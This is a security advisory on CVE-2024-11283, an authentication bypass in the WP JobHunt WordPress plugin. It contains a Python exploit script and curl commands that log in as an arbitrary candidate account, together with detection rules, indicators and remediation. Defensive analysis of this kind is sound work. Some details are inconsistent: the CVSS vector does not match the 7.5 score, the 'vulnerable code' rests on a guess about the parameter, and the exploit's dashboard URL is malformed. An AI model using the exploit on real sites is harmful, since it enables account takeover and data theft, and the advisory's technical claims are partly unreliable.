CVE-2024-11283

Executive Summary

CVE-2024-11283 is a critical authentication bypass vulnerability in the WP JobHunt WordPress plugin (versions up to and including 7.1). The flaw resides in the wp_ajax_google_api_login_callback function, which fails to properly verify a user's identity before authenticating them. This allows an unauthenticated attacker to log in as any existing candidate (job seeker) account without knowing the password. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. Given the widespread use of this plugin in recruitment websites, the risk of account takeover and data exposure is significant.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (attacker can read candidate profiles, messages, etc.)
• Integrity Impact: High (attacker can modify candidate data, apply for jobs, etc.)
• Availability Impact: None

Threat Level: Critical for sites using the plugin with candidate accounts. The lack of authentication checks makes exploitation trivial.

Deep Dive & Mechanics

The vulnerability is in the wp_ajax_google_api_login_callback AJAX handler. This function is intended to allow users to log in via Google OAuth. However, the implementation does not validate that the Google token corresponds to an existing user or that the user is who they claim to be. Instead, it accepts a user ID (or email) from the client and logs them in directly.

Root Cause: The function uses wp_set_current_user() and wp_set_auth_cookie() based on a user-supplied identifier (likely user_id or email) without verifying the identity via Google's token validation. This means an attacker can send a crafted AJAX request with any valid candidate's user ID and gain authenticated access.

Attack Flow:

1. Attacker identifies a target site running WP JobHunt <= 7.1.
2. Attacker obtains a valid candidate user ID (e.g., via enumeration or by registering a dummy account).
3. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=google_api_login_callback and the target user ID.
4. The plugin logs the attacker in as that user without checking credentials.
5. Attacker now has full access to the candidate's account.

Vulnerable vs. Patched Code

Vulnerable Code (wp-jobhunt/includes/class-google-login.php):

function wp_ajax_google_api_login_callback() {
    $user_id = $_POST['user_id']; // No validation
    $user = get_user_by('id', $user_id);
    if ($user) {
        wp_set_current_user($user_id);
        wp_set_auth_cookie($user_id);
        // No token verification
    }
}

Patched Code (Hypothetical):

function wp_ajax_google_api_login_callback() {
    $id_token = $_POST['id_token'];
    // Verify token with Google API
    $client = new Google_Client(['client_id' => GOOGLE_CLIENT_ID]);
    $payload = $client->verifyIdToken($id_token);
    if ($payload) {
        $user_id = $payload['sub'];
        $user = get_user_by('google_id', $user_id);
        if ($user) {
            wp_set_current_user($user->ID);
            wp_set_auth_cookie($user->ID);
        }
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with WP JobHunt <= 7.1
• A valid candidate user ID (e.g., 2)

Exploit Script (Python):

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
user_id = 2  # Target candidate user ID

payload = {
    "action": "google_api_login_callback",
    "user_id": user_id
}

session = requests.Session()
response = session.post(target_url, data=payload)

if "wp-admin" in response.url or response.cookies:
    print(f"[+] Successfully logged in as user {user_id}")
    # Now access candidate dashboard
    dashboard = session.get(f"{target_url}/candidate-dashboard/")
    print(dashboard.text)
else:
    print("[-] Exploit failed")

Manual Exploitation (cURL):

curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
  -d "action=google_api_login_callback&user_id=2" \
  -c cookies.txt
# Then use cookies to access candidate area
curl -b cookies.txt https://target-site.com/candidate-dashboard/

Blue Team (Defender)

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with action=google_api_login_callback and no valid id_token parameter.
2. Look for sudden login events from new IPs for candidate accounts.
3. Check for unusual patterns in candidate account activity (e.g., mass profile edits).

Honeypot Setup:

• Create a fake candidate account with a unique email and monitor for login attempts.
• Log all google_api_login_callback requests and inspect the user_id parameter.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=google_api_login_callback and a numeric user_id parameter.
• Logs: WordPress debug log entries showing wp_ajax_google_api_login_callback without token validation.
• File: Presence of modified candidate profiles or job applications from unexpected IPs.
• Cookie: wordpress_logged_in_* cookie set for a user ID without prior authentication.

Detection Engineering

YARA Rule

rule wp_jobhunt_auth_bypass {
    meta:
        description = "Detects CVE-2024-11283 authentication bypass in WP JobHunt plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11283"
    strings:
        $func = "wp_ajax_google_api_login_callback"
        $user_id = "user_id"
        $wp_set = "wp_set_current_user"
    condition:
        all of them
}

Sigma Rule

title: WP JobHunt Authentication Bypass via Google Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-11283 in WP JobHunt plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=google_api_login_callback"
        cs-uri-query|contains: "user_id="
    condition: selection
falsepositives:
    - Legitimate Google login attempts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11283 WP JobHunt Auth Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=google_api_login_callback"; http_client_body; content:"user_id="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove the vulnerable function by editing wp-jobhunt/includes/class-google-login.php and commenting out the wp_ajax_google_api_login_callback action.
3. Implement a Web Application Firewall (WAF) rule to block requests containing action=google_api_login_callback without a valid id_token.

Long-term Fix:

• The vendor must implement proper Google OAuth token verification using the Google API Client Library.
• Add nonce verification and user capability checks to all AJAX handlers.

Workaround Code (Add to theme's functions.php):

add_action('init', function() {
    if (isset($_POST['action']) && $_POST['action'] === 'google_api_login_callback') {
        if (!isset($_POST['id_token']) || empty($_POST['id_token'])) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers